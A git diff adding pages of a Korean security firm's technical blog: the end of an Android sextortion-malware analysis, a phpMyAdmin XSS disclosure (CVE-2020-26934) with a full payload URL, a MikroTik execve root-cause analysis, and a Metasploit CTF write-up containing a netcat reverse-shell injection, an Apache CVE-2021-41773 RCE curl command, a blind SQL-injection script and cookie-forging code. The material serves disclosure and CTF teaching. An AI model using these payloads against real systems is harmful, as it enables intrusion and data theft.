    JEB Debugging 도구를 통해 확인한 공격자의 Socket통신 Server, Port

    +
      +
    • 통신 호스트 : 182.80.222.92
    • +
    • 통신 포트 : 4455
    • +
    +

    +
  • +
  • +

    송수신 데이터

    + +

    가. Smali Code Injection

    + +

    Smali Code Injection을 통해 로그로 출력된 송수신 Data

    +
      +
    • 로드 클래스명 : plugens.angel.plugnes.terminal
    • +
    • 소켓 통신을 통해 전달되는 APK
    • +
    +

    + +

    Smali Code Injection을 통해 파일 제거 로직 차단 후 확보한 APK 파일 목록

    +

    + +

    나. tcpdump

    + +

    tcpdump를 이용해 확인한 피해자 정보 전송 Packet Data

    +
      +
    • 디바이스 기기 : Samsung S10
    • +
    • 안드로이드 OS 버전 : Pie
    • +
    • 설치된 어플리케이션 UUID : 5184e43e4-6245-e64f-54sd-69ff9e76d8f
    • +
    +

    +

    +
  • +
+ +

4. 결론

+ +

분석한 악성 앱은 단순히 몸캠피싱을 위한 앱이 아니라 피해자의 스마트폰에 명령어 실행, 존재하는 파일, 정보 탈취, 랜섬웨어도 가능하다. 앱이 설치되고 나면, 스마트폰은 공격자의 손에 들어가는 것과 다름없다. 사전 예방을 통해 안전하게 개인정보를 보호하자.

+ +

스마트폰에 백신을 설치하자. 백신은 악성 앱 제거, 실행을 차단해준다.

+ +

출처가 불분명한 앱은 다운로드 하지 말자. 구글플레이에 등록된 앱들은 보안 검증을 받은 앱들이다.

+ +

음란 영상 통화를 하지 말자. 매력적인 이성은 우리에게 처음부터 신체를 노출하지 않는다.

+ +
+ +

김지현, 홍순빈, 오진영, “[The W]2030 노리는 보이스피싱… ‘알바’, ‘몸캠’으로 낚는다”, <머니투데이>, 2021.05.02, [https://news.mt.co.kr/mtview.php?no=2021050209122253595](https://news.mt.co.kr/mtview.php?no=2021050209122253595)*

+ +

신정은, “집콕족 노린 ‘몸캠 피싱’ 주의보…피해액만 22억”, , 2021.02.18, https://news.sbs.co.kr/news/endPage.do?news_id=N1006212770&plink=SEARCH&cooper=SBSNEWSSEARCH&plink=COPYPASTE&cooper=SBSNEWSEND

+ +

최선을, “‘몸캠피싱’ 협박 당한 중학생, 아파트 옥상서 떨어져 숨져”, <서울신문>, 2021.05.31, [https://www.seoul.co.kr/news/newsView.php?id=20210531500185](https://www.seoul.co.kr/news/newsView.php?id=20210531500185)

+ +
+
+
+ +
+
+
함세련
+
srham@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2021-09-02/CVE-2020-26934-phpMyAdmin-Reflected-Cross-site-scripting.html b/docs/2021-09-02/CVE-2020-26934-phpMyAdmin-Reflected-Cross-site-scripting.html new file mode 100644 index 0000000..37d412c --- /dev/null +++ b/docs/2021-09-02/CVE-2020-26934-phpMyAdmin-Reflected-Cross-site-scripting.html @@ -0,0 +1,237 @@ + + + + + + + + + + +CVE-2020-26934 - phpMyAdmin Reflected Cross-site scripting + +CVE-2020-26934 - phpMyAdmin Reflected Cross-site scripting | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
CVE-2020-26934 - phpMyAdmin Reflected Cross-site scripting
+
+
+ + 고기완 +
+
Sep 2, 2021
+
+
+
+
+
+

개요

+

phpMyAdmin은 MySQL/MariaDB 데이터베이스를 관리하기 위한 웹 인터페이스 서비스다. PHP 언어로 구현되어 있으며 웹서버에 설치하여 사용한다. 사용자는 웹 브라우저를 통해 phpMyAdmin 웹페이지에 로그인한 후, 데이터베이스 열람 및 수정이 가능하다.

+ +

변환(Transformation) 기능

+

데이터베이스의 값을 표시 또는 삽입할 때 데이터의 변환 방식을 지정하는 기능이다. +변환 기능을 이용하는 예시는 다음과 같다.

+
    +
  • 테이블 구조 변경 기능에서 아래 이미지와 같이 Media type, Browser display transformation 등을 지정한다.
  • +
+ +

+ +
    +
  • 변환 기능이 적용된 테이블의 데이터를 표시할 때, 변환된 데이터를 보기 위해 [BLOB]을 클릭하면 transformation_wrapper.php 페이지로 이동된다.
  • +
+ +

+ +
    +
  • transformation_wrapper.php 페이지는 쿼리 구문을 입력 받아 실행하고, 실행 결과를 변환하여 표시한다.
  • +
+ +

취약점 설명

+

transformation_wrapper.php는 CSRF 토큰을 필요로 하지 않는다. CSRF 토큰 검증을 하지 않으므로, 공격자가 GET 요청 방식으로 파라미터 전달이 가능하다. +$request_params 변수에 선언된 ‘cn’, ‘ct’, ‘sql_query’, ‘transform_key’, ‘where_clause’를 파라미터로 받아, 해당 변수명으로 사용한다.

+ +

+ +

where_clause 파라미터는 SELECT 쿼리 구문의 WHERE 절에 삽입해 실행된다. +쿼리 실행 결과를 출력하기 전, Core::downloadHeader 함수를 실행한다. Core::downloadHeader 함수는 /libraries/classes/Core.php에 선언되어 있다. +두 개의 인자를 받아 파일 다운로드와 관련된 HTTP 응답 헤더를 지정한다. 첫 번째 인자는 파일 이름이고, 두 번째 인자는 Content-Type을 지정한다.

+ +

+ +

공격자가 ct 파라미터를 조작하면, Core::downloadHeader 함수의 두 번째 인자가 조작되어 Content-Type 조작이 가능하다. +Core::downloadHeader 함수가 종료되고 쿼리 실행 결과를 출력한다.

+ +

+ +

Content-Type을 html으로 지정하는 경우, PHP의 htmlspecialchars 함수를 통해 XSS 문자열이 필터링된다. 공격자는 XSS 필터링을 우회하며 웹브라우저 화면에 출력하기 위해 Content-Type을 text/xml 으로 지정한다. +Content-Type이 text/xml이므로 쿼리 실행으로 출력 되는 내용을 XML XSS으로 지정하면 XSS 취약점이 발생한다. +출력 되는 내용을 조작하기 위해 where_clause 파라미터에 UNION SELECT 구문을 넣는다.

+ +
1 UNION SELECT '<?xml version="1.0"?><html><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script></html>',2,3,0 ORDER BY 4
+
+ +

위 SQL 구문을 삽입하는 전체 페이로드는 아래와 같다.

+ +
~/index.php?target=transformation_wrapper.php&db=information_schema&table=CHARACTER_SETS&where_clause=1%20UNION%20SELECT%20%27%3C?xml%20version=%221.0%22?%3E%3Chtml%3E%3Cscript%20xmlns=%22http://www.w3.org/1999/xhtml%22%3Ealert(1)%3C/script%3E%3C/html%3E%27,2,3,0%20ORDER%20BY%204&cn=&ct=text/xml&transform_key=CHARACTER_SET_NAME
+
+ +

+ +

패치 내역

+

phpMyAdmin에 해당 취약점을 제보하고 CVE-2020-26934으로 패치되었다.

+ +

https://www.phpmyadmin.net/security/PMASA-2020-5/

+ +

Thanks to Giwan Go, Yelang Lee of STEALIEN for reporting this vulnerability.

+ +

공격자가 GET 요청 방식으로 파라미터 전달을 하지 못하도록 where_clause 파라미터의 서명값을 검증한다.

+ +

+ +
+
+
+ +
+
+
고기완
+
gogil@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2021-10-13/MikroTik-PostAuth-RCE.html b/docs/2021-10-13/MikroTik-PostAuth-RCE.html new file mode 100644 index 0000000..c66f248 --- /dev/null +++ b/docs/2021-10-13/MikroTik-PostAuth-RCE.html @@ -0,0 +1,263 @@ + + + + + + + + + + +MikroTik Post-Auth execve() call. + +MikroTik Post-Auth execve() call. | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
MikroTik Post-Auth execve() call.
+
+
+ + 김도현 +
+
Oct 13, 2021
+
+
+
+
+
+

MikroTik arbitrary call execve() (Post Authentication)

+
    +
  • Affect version : 6.48.3 to 6.48.? (not checked. sorry.)
  • +
  • Impact : Low
  • +
  • Difficulty : Low
  • +
+ +

Report

+ +

본 취약점은…

+
    +
  • MikroTik RouterOS 6.48.3에서 발견되었습니다.
  • +
  • 디바이스의 설정에 관계 없이 발생합니다.
  • +
  • /nova/bin/mepty 컴포넌트에서 발생합니다.
  • +
  • sub_804B2BC() 함수에서 취약점이 발생합니다.
  • +
  • 최종적으로, 악의적인 사용자가 임의의 execve()를 통해 프로세스를 만들 수 있습니다.
  • +
+ +

코드 분석 (Root cause analysis)

+
int sub_804B2BC()
+{
+    ...
+
+    v52 = nv::message::get<nv::u32_id>(a2, 8);
+    v12 = (const string *)nv::message::get<nv::string_id>(a2, 9);
+    string::string(&v60, v12); // [1]
+
+    ...
+
+    if ( v59 )
+        setenv("TERM", (const char *)(v59 + 4), 1);
+    v30 = s // [2]
+
+    ...
+
+    switch (...)
+    {
+        ...
+        case 4:
+            snprintf(s, 0x50u, "%s", (const char *)(v60 + 4));
+            execl("/nova/bin/telser", "telser", s, 0);
+            *(_DWORD *)s = "/nova/bin/telnet";
+            argv = "/nova/bin/telnet" + 10;
+            v31 = "-4";
+            if ( v15 )
+                v31 = "-6";
+            v71 = v31;
+            v30 = (char *)&v72;
+            break;
+        default:
+            break; // [3]
+        ...
+    }
+
+    ...
+
+    *(_DWORD *)v30 = v60 + 4; // [4]
+    *((_DWORD *)v30 + 1) = 0;
+    string::string((string *)&v56, *(const char **)s); // [5]
+    nv::findFile((nv *)&v55, (const string *)&v56, 0); // [6]
+    execv((const char *)(v55 + 4), &argv); // [7]
+
+    ...
+}
+
+
    +
  1. v60에 9번 인자의 문자열을 할당합니다. (익스플로잇 코드에서 s9)
  2. +
  3. v30s를 대입합니다.
  4. +
  5. default문에서, 할당 된 변수들을 초기화 하거나, 함수를 끝내는 등 적절한 조치를 취하지 않습니다.
  6. +
  7. *v30v60+4(문자열의 실제 주소)를 대입합니다.
  8. +
  9. v56s를 할당합니다. 여기서 s에는 4번 단계에서 넣은 값(s9)이 들어가 있습니다.
  10. +
  11. execve()를 통해 원하는 프로세스를 생성할 수 있습니다.
  12. +
+ +

악용

+
    +
  • 본 취약점을 활용하여 장비의 관리자 권한을 획득 할 수 있습니다.
  • +
+ +

한계

+
    +
  • 업로드 한 임의의 바이너리에 실행 권한을 부여하여 실행해야만 최종적으로 권한을 획득할 수 있습니다.
  • +
  • 인증(로그인) 후 사용 가능한 취약점입니다.
  • +
+ +

공격 코드

+
    +
  • https://github.com/d0now/vulnerabilities/MikroTik_RouterOS/2021-10-13-post-auth-execve/exploit.py
  • +
+ +
+
+
+ +
+
+
김도현
+
dhkim@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2021-12-07/Metasploit-CTF-Review.html b/docs/2021-12-07/Metasploit-CTF-Review.html new file mode 100644 index 0000000..d9223e4 --- /dev/null +++ b/docs/2021-12-07/Metasploit-CTF-Review.html @@ -0,0 +1,640 @@ + + + + + + + + + + +2021 Metasploit Community CTF write-up, review + +2021 Metasploit Community CTF write-up, review | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
2021 Metasploit Community CTF write-up, review
+
+
+ + 김도현 +
+
Dec 7, 2021
+
+
+
+
+
+

2021 Metasploit Community CTF write-up, review

+ +

PoSTLTimes(PostalTimes + STLCTF)이라는 팀명으로 진행했다.

+ +
+ +

2 of Clubs, Black Joker

+ +
+

Solver is Jang Jaehoon from STLCTF

+
+ +

20000/tcp 포트로 접근 시, 바이너리를 다운 받을 수 있다. 이 바이너리는 타겟 서버의 20001/tcp와 통신하며 타겟 바이너리의 문제를 해결 시 플래그를 받을 수 있다. strace를 사용하여 통신하는 규칙을 분석 후, 문제를 해결 할 수 있었다.

+ +

바이너리는 서버로부터 x, y 좌표 값을 받으며 사용자가 이를 클릭 할 시에 서버로 클릭한 좌표 값을 전송한다. 이를 전부 완수하게 될 경우 플래그를 획득할 수 있다.

+ +

Easy Challenge

+ +

json 형태로 통신한다. 단순히 이 값들을 프로토콜에 맞게 전송 해 주면 된다.

+ +

Hard Challenge

+ +

Binary 형태로 통신한다. 해당 binary 값들을 이용하여 문제를 해결 할 수 있다.

+ +
+ +

2 of Spades

+ +
+

Solver is Dohyun Kim (@d0now) from STLCTF

+
+ +

443/tcp 포트로 접근 시, Under Construction!이라는 문구를 발견 할 수 있다. gobuster를 이용한 directory scanning으로 /.git/HEAD 폴더를 발견 할 수 있었으며, GitHacker 프로젝트를 이용하여 레포지토리 정보를 받아 올 수 있다.

+ +
$ git cat-file -p 1e4988fd28fdfb4116f7203451e6cf1b6c51ea43
+username=root
+password=password123
+flag_location=3e6f0e21-7faa-429f-8a1d-3f715a520da4.png
+
+ +

해당 경로로 접근 시 플래그를 획득할 수 있었다.

+ +
+ +

3 of Clubs

+ +
+

Solver is Dohyun Kim (@d0now) from STLCTF

+
+ +

30033/tcp 포트로 접근 시 하나의 ELF 프로그램을 획득 할 수 있다. 이 프로그램은 30034/tcp에서 동작하고 있으며, 프로그램을 분석하여 조건을 만족해 플래그를 획득할 수 있었다.

+ +

프로그램은 간단한 stack 기반 계산기였으며, 여타 pwnable의 vm 문제와 같이 접근 시 문제를 쉽게 해결할 수 있다.

+ +
#!/usr/bin/env python3
+
+from pwn import *
+
+OP_LSH = 0xc0
+OP_RSH = 0xc1
+OP_MUL = 0xd0
+OP_DIV = 0xe0
+OP_EXT = 0xff
+
+p = remote("localhost", 31337)
+
+payload  = p16(0x0006)
+payload += p16(0x0001)
+payload += p8(0x03)
+payload += p8(0x17)
+payload += p8(0x6d)
+payload += p8(OP_MUL) # 0x6d * 0x17 = 2507
+payload += p8(OP_DIV) # 2507 / 3 = 835
+payload += p8(0x01)
+payload += p8(OP_MUL)
+payload += p8(0x01)
+payload += p8(OP_MUL)
+payload += p8(0x01)
+payload += p8(OP_MUL)
+payload += p8(OP_EXT)
+payload += p16(0xadde)
+
+p.send(payload)
+p.readuntil(b"\n")
+data = p.recvall()
+with open('flag.png', 'wb') as f:
+    f.write(data)
+
+ +
+ +

3 of Hearts

+ +
+

Solver is Seokchan Yoon (@ch4n3) from STLCTF

+
+ +

33337/tcp 포트로 접근 시 웹 서비스가 존재한다. 특정한 패킷을 전송하게 되면 PHPSESSID를 획득할 수 있고, 이를 이용하여 /private.php에 접근하여 플래그를 획득할 수 있다.

+ +
GET /save.php?first=1 HTTP/1.1
+Host: threeofhearts.ctf.net
+Content-Encoding: chunked
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 160
+Transfer-Encoding: chunked
+
+5f
+0
+
+GET /save.php?second=1 HTTP/1.1
+Host: threeofhearts.ctf.net
+Content-Length: 40
+Cookie: 
+0
+
+GET /save.php?second=222 HTTP/1.1
+X-Access: localhost
+
+ +
+ +

4 of Clubs

+ +
+

Solver is Dohyun Kim (@d0now) from STLCTF

+
+ +

15010/tcp로 접근 시 웹 서비스가 존재한다. 회원가입 후 파일을 업로드/다운로드 할 수 있다. 다운로드 한 파일은 /users/[username]/files/[filename]에 저장 되는데, 아무나 접근이 가능하여 usernamefilename을 스캐닝하여 플래그를 획득할 수 있었다.

+ +
$ gobuster dir -u http://localhost:31337/users/employee/files/ -c "$RACK_SESSION" -a "$USER_AGENT" -t 32 -w /usr/share/wordlists/dirb/big.txt
+===============================================================
+Gobuster v3.1.0
+by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
+===============================================================
+[+] Url:                     http://localhost:31337/users/employee/files/
+[+] Method:                  GET
+[+] Threads:                 32
+[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
+[+] Negative Status codes:   404
+[+] Cookies:                 rack.session=BAh7CUkiD3Nlc3Npb25faWQGOgZFVG86HVJhY2s6OlNlc3Npb246OlNlc3Npb25JZAY6D0BwdWJsaWNfaWRJIkUxYWY3ZDQyN2FiZTEwZTg4YTMwODNmYTdkNzJmMjBlMzZlY2JhZmMwMGU3MTI3OTM2ZmI3NjEzOWE3NTQxNTI0BjsARkkiCWNzcmYGOwBGSSIxM2RLY0tzdGlYRFBzNVBLVllwWXJQOC9oT0t6bWkxQ1hZVmEvOThWTGU2WT0GOwBGSSINdHJhY2tpbmcGOwBGewZJIhRIVFRQX1VTRVJfQUdFTlQGOwBUSSItYzY5NzEzNGFjMTU4OWNmZjcxZjYwNGE3NTg4ZmIxYTJiMTA5MTI2MwY7AEZJIg11c2VybmFtZQY7AEZJIgphRG1pbgY7AFQ%3D--e346362309c00ead4b73f84b2ae76a89edbed0ae
+[+] User Agent:              Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36
+[+] Timeout:                 10s
+===============================================================
+2021/12/04 12:50:26 Starting gobuster in directory enumeration mode
+===============================================================
+/fileadmin            (Status: 200) [Size: 169825]
+/reports              (Status: 200) [Size: 23]
+/upload               (Status: 403) [Size: 13]
+
+===============================================================
+2021/12/04 12:53:43 Finished
+===============================================================
+
+ +

fileadmin 파일이 플래그이다.

+ +
+ +

4 of Diamonds

+ +
+

Solver is Jaehoon Jang from STLCTF

+
+ +

10010/tcp에 열려있는 웹 페이지의 취약점을 이용하여 문제를 해결할 수 있다.

+ +

다음과 같이 로그인 시 user account와 관련된 오브젝트의 정보를 획득 할 수 있다.

+
var current_account = {"id":1,"username":"user","password":"password""role":"user","created_at":"2021-12-06T05:01:12.978Z""updated_at":"2021-12-06T05:01:12.978Z"};    
+
+ +

회원가입 시 request packet에 role을 추가하여 문제를 해결할 수 있다.

+ +
+ +

4 of Hearts

+ +
+

Solver is Dohyun Kim from STLCTF

+
+ +

80/tcp에 접근 시 플래그를 획득할 수 있다.

+ +
+ +

5 of Clubs

+ +
+

Solver is Dohyun Kim from STLCTF

+
+ +

15000/tcp에 접근 시 다음과 같이 특정한 명령을 내릴 수 있는 콘솔을 사용할 수 있다.

+
$ nc localhost 31337
+
+Welcome to the Student Database Management System!
+Time is 2021-12-03 18:03:46 +0000.
+
+Pick one of the following options:
+1. Create new student record
+2. Show student records
+3. Update an existing record
+4. Delete student record
+5. Exit
+
+Input:
+
+ +

1번 메뉴를 통해 새로운 student record를 만들고 4번메뉴에서 올바른 student name을 넣어주고 student surname에서 발생하는 command injection 취약점을 이용하여 문제를 해결할 수 있다.

+
Deleting a student with the following details:
+Student name: a
+Student surname: a$(nc 172.17.8.84 4444 -e /bin/sh)
+Invalid characters entered.
+
+Found student file: a_a$(nc 172.17.8.84 4444 -e /bin/sh).txt
+Deleting...
+Completed.
+
+ +
+ +

5 of Diamonds

+ +
+

Solver is YouTaek Lim from STLCTF

+
+ +

11111/tcp에 접근 시 로그인 할 수 있는 웹페이지가 나온다. 사용자명은 admin, 패스워드에 postgresql injection을 통해 공격하여 플래그를 획득할 수 있다.

+ +
username=admin&password='or+1=1--+-
+
+ +

and also we wrote blind sql injection script for it.

+ +
#!/usr/bin/env python3
+
+import requests
+import argparse
+import string
+
+def login(host, port, username, password):
+
+    url = f"http://{host}:{port}/login"
+    pay = f"username={username}&password={password}"
+
+    ses = requests.Session()
+    req = requests.Request(
+        method='POST',
+        url=url,
+        data=pay,
+        headers={'Content-Type': 'application/x-www-form-urlencoded'}
+    )
+
+    pre = req.prepare()
+    pre.url = url
+    pre.body = pay
+
+    response = ses.send(pre, allow_redirects=False)
+    if response.status_code != 303:
+        return False # login failed.
+    else:
+        return True
+
+def run(host, port):
+    
+    db_name_len = 8
+    db_name     = 'postgres'
+    table_name  = 'registered_users'
+
+    payload_upper = ''''+or+(select+ascii(substr((select+password+from+registered_users+limit+1+offset+0),{},1)))>{}+--'''
+    payload_lower = ''''+or+(select+ascii(substr((select+password+from+registered_users+limit+1+offset+0),{},1)))<{}+--'''
+    payload_equal = ''''+or+(select+ascii(substr((select+password+from+registered_users+limit+1+offset+0),{},1)))={}+--'''
+
+    offset = 0
+    password = ''
+
+    while not login(host, port, 'admin', payload_equal.format(offset+1, 0)):
+
+        offset += 1
+        cmpmin = 0x20
+        cmpmid = 0x50
+        cmpmax = 0x7f
+
+        while True:
+
+            if login(host, port, 'admin', payload_equal.format(offset, cmpmid)):
+                password += chr(cmpmid)
+                break
+
+            elif login(host, port, 'admin', payload_upper.format(offset, cmpmid)):
+                cmpmin = cmpmid + 1
+                cmpmid = (cmpmax + cmpmin) // 2
+
+            elif login(host, port, 'admin', payload_lower.format(offset, cmpmid)):
+                cmpmax = cmpmid - 1
+                cmpmid = (cmpmax + cmpmin) // 2
+
+            else:
+                raise RuntimeError
+
+        print(password)
+
+    return password
+
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser()
+    parser.add_argument("--host", type=str, default="localhost")
+    parser.add_argument("--port", type=int, default=31337)
+    args = parser.parse_args()
+    result = run(args.host, args.port)
+    print("password: " + result, end='')
+
+ +

and noticed that admin password is keep changing when revert machine.

+ +
+ +

7 of Hearts

+ +
+

Solver is Dohyun Kim (@d0now) from STLCTF

+
+ +

15122/tcp로 ssh를 이용하여 접근 할 수 있다. 다만 아무런 credential이 없어서 로그인 하기 위해 몇가지 방법을 시도 해 보았다:

+ +
    +
  1. Dictionary based brute focing attack
  2. +
  3. Rule based brute forcing attach (root, 1 length word to 3 length word.)
  4. +
  5. Credential stuffing (credentials are from other challeges.)
  6. +
  7. Internal network access via other challenge’s reverse shell (maybe docker-compose)
  8. +
  9. Packet capture
  10. +
+ +

하지만 이 중 아무런 성과를 얻지 못했고, 다음과 같이 상황이 흘러가게 되었다.

+ +
    +
  1. Jaehoon Jang님이 DHCP client port가 열려 있는것을 확인 했다 (근데 분명 처음 스캐닝 돌릴 때는 열려있지 않았다.)
  2. +
  3. DHCP client를 속여서 공격하거나, 1-day exploit을 시도 하려고 했다.
  4. +
  5. 몇가지 시도 도중, 타겟 서버의 ip를 kali의 ip로 변경시키려는 시도를 했다. 참고로 arp spoofing, dhcp spoofing 등을 수행했다.
  6. +
  7. 패킷 캡쳐를 수행 했다.
  8. +
  9. 그러자 3~5분 간격으로 kali의 23번 포트에 문제 서버에서 접근하는것을 발견했다.
  10. +
  11. kali의 23/tcp에 telnet 서비스를 열어두고 패킷 캡쳐를 수행했다.
  12. +
  13. 로그인 정보를 획득할 수 있었다.
  14. +
  15. 성공적으로 ssh login에 성공했다.
  16. +
+ +

정말로 당황스러운 문제가 아닐 수 없다… 이 문제 때문에 2등, 3등을 놓쳤다니, 아직도 화가 나는건 사실이다 :(

+ +
+ +

8 of Clubs

+ +
+

Solved by sickcodes from PostalTimes

+
+ +

20123/tcp로 ssh를 이용하여 접근할 수 있다. encrypt_flag.pyencrypted_flag 파일이 존재한다. encrypt_flag.py 42번줄의 return fernet.encrypt(file)return fernet..decrypt()로 수정한 후 다음과 같이 문제를 해결할 수 있었다:

+ +
$ python encrypt_flag.py encrypted_flag out --debug
+$ file out
+out: PNG image data, 500 x 700, 8-bit/color RGBA, non-interlaced
+
+ +
+ +

9 of Diamonds

+ +
+

Solved by Jaehon Jang from STLCTF

+
+ +

8080/tcp로 http를 이용하여 접근할 수 있다. admin cookie를 변조하여 문제를 해결할 수 있었다.

+ +
+ +

9 of Spades

+ +
+

Solved by timwr from PostalTimes

+
+ +

20055/tcp로 http를 이용하여 접근할 수 있다. 파일 업로드를 할 수 있는데, 많은 필터링이 존재한다. 하지만 .htaccess 파일을 업로드하여 .htm 파일이 php 실행이 가능하도록 수정한 후, .htm 웹쉘을 업로드하여 문제를 해결할 수 있었다.

+ +
AddType application/x-httpd-php .html .htm
+
+ +
+ +

10 of Clubs

+ +
+

Solved by Dohyun Kim (@d0now) from STLCTF

+
+ +

12380/tcp에 http로 접근이 가능하다. http 버전이 CVE-2021-41773에 취약하여 이를 이용하여 RCE를 할 수 있었다.

+ +
$ curl --path-as-is -v -X POST 'http://localhost:31337/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh' -d "echo;cat /secret/safe/flag.png" -o /tmp/flag.png
+
+ +
+ +

Jack of Hearts

+ +
+

Solved by Seokchan Yoon (@ch4n3) from STLCTF

+
+ +

20022/tcp에 http로 접근이 가능하다. 다음과 같이 user 쿠키를 변조하여 문제를 해결할 수 있었다:

+
class user {
+    function __construct()
+    {
+        return ;
+    }
+}
+
+$obj = new user();
+$obj->username = "admin";
+$obj->admin = false;
+$obj->profile_img = "/var/www/html/../../../../../flag.png";
+
+print(serialize($obj) . "\n\n");
+print(base64_encode(base64_encode(serialize($obj))));
+
+
$ php serialize.php
+O:4:"user":3:{s:8:"username";s:5:"admin";s:5:"admin";b:0;s:11:"profile_img";s:37:"/var/www/html/../../../../../flag.png";}
+
+VHpvME9pSjFjMlZ5SWpvek9udHpPamc2SW5WelpYSnVZVzFsSWp0ek9qVTZJbUZrYldsdUlqdHpPalU2SW1Ga2JXbHVJanRpT2pBN2N6b3hNVG9pY0hKdlptbHNaVjlwYldjaU8zTTZNemM2SWk5MllYSXZkM2QzTDJoMGJXd3ZMaTR2TGk0dkxpNHZMaTR2TGk0dlpteGhaeTV3Ym1jaU8zMD0=
+
+ +
+ +

Ace of Diamonds

+ +
+

Solved by Dohyun Kim (@d0now) from STLCTF

+
+ +

35000/tcp에 http로 접근하게 되면 capture.pcap 파일을 획득할 수 있다. 이 파일은 SMB 프로토콜이 캡쳐된것을 확인할 수 있는데, 몇가지 수상한 행동을 한다. 하지만 이는 모두 연막이고 단순히 padding 필드가 존재하는 패킷의 padding 값을 확인해보면 ascii 범위인것을 알 수 있다. 이를 모두 조합하게 되면 다음과 같은 문자열을 획득할 수 있다:

+
Here is the URL you are looking for: /U,rhbjaaCeDseVRQzEO.YsgXXtoGKpvUEkZXaoxurhdYnIlpJiGszZwUktVWTS,DabQAhvbEDQaNL_Dhsq.pposWkG-DtQdIVXNEWd.KbtYXvCek_gJuzIrDtMHfITFL/flag.png
+
+ +

해당 경로로 접속하게 되면 플래그를 획득할 수 있다.

+ +

별개로, SMB 관리자의 계정은 다음과 같다: Administrator:netntlmv2

+ +
+ +

Ace of Hearts

+ +
+

Solved by Donggyu Kim from STLCTF

+
+ +

20011/tcp로 접근하게 되면 네개의 사용자의 페이지를 볼 수 있는데, 이 중 John의 페이지는 private 설정이 되어 있다. 하지만 밑의 url 검색 기능에서 SSRF가 발생하는데, 이를 이용하여 /admin에 접근하게 되면 John의 페이지 권한 설정을 수정할 수 있다. 그리고 John의 페이지로 접근하여 플래그를 획득할 수 있었다.

+ +
+ +

Review

+ +

2년째 영국 친구들(@PostalTime)과 함께하는 metasploit community ctf 되시겠다. 대부분의 문제들이 상식선에 있었지만, 7 of Hearts 문제는 정말 지옥과도 같았다. 1등을 제외하고, 현재 2등, 3등인 팀들과 격차를 꽤 벌려 놓았었는데 결국 해당 문제를 풀지 못하여 4등을 하게 되었다. 7 of Hearts 문제의 경우 나의 주관적인 생각으론, 다른 문제들과 컨셉이 비슷하지 못했다는 점에서 그렇게 잘 만든 문제는 아닌거 같다고 보여진다. 아마도 운이 좋게 dhcp 클라이언트 포트가 열려 있는것을 발견하지 못했다면 대회가 끝날 때 까지 못 풀지 않았을까 생각한다(아이디어의 원천이 되어준 Jaehoon Jang님께 감사.)

+ +

이번 CTF의 경우 사실 공식적으로 STLCTF란 팀명으로 처음 진행 한 ctf이다. STLCTF는 Stealien의 연구원, Stealien의 인턴(혹은 인턴으로 재직했던 사람), Stealien Security Leader 1기, 2기로 구성되어 있다. 뭔가 빡세게 ctf를 하는 팀은 아니고, 이 그룹에 속해 있으면서 함께 ctf 나갈 기회가 있으면 함께 하는 뭐 그런 자유로운 분위기의 커뮤니티 정도로만 생각 해 주면 되겠다. 가입 의사가 있으면, Discord PI#5539로 연락 주길 바란다. 당연하지만 본인의 소속/이름 정도를 간단하게 밝혀주면 좋다 :)

+ +

또한 PostalTime도 소개해볼까 한다. PostalTime도 뭔가 열심히 CTF를 하는 팀이라기 보다는 PoC에서 만난 @tiwmr을 주요로 활동하는 보안 커뮤니티 같은 느낌이다. (사실 물어보지 않아서 모른다.) 작년의 metasploit ctf 이후로 1년만에 같이 진행 했는데, 작년에는 3위를 한 것과 달리 1등수가 떨어져서 tim한테 미안할 따름이다.

+ +
+

총평 : 역시 ctf는 가끔 하는게 정신 건강에 이로운 것 같다.

+
+ +
+
+
+ +
+
+
김도현
+
dhkim@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2022-03-15/dirtypipe-review.html b/docs/2022-03-15/dirtypipe-review.html new file mode 100644 index 0000000..b2a84f0 --- /dev/null +++ b/docs/2022-03-15/dirtypipe-review.html @@ -0,0 +1,1069 @@ + + + + + + + + + + +DirtyPipe Review + +DirtyPipe Review | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
DirtyPipe Review
+
+
+ + seonungjang +
+
Mar 15, 2022
+
+
+
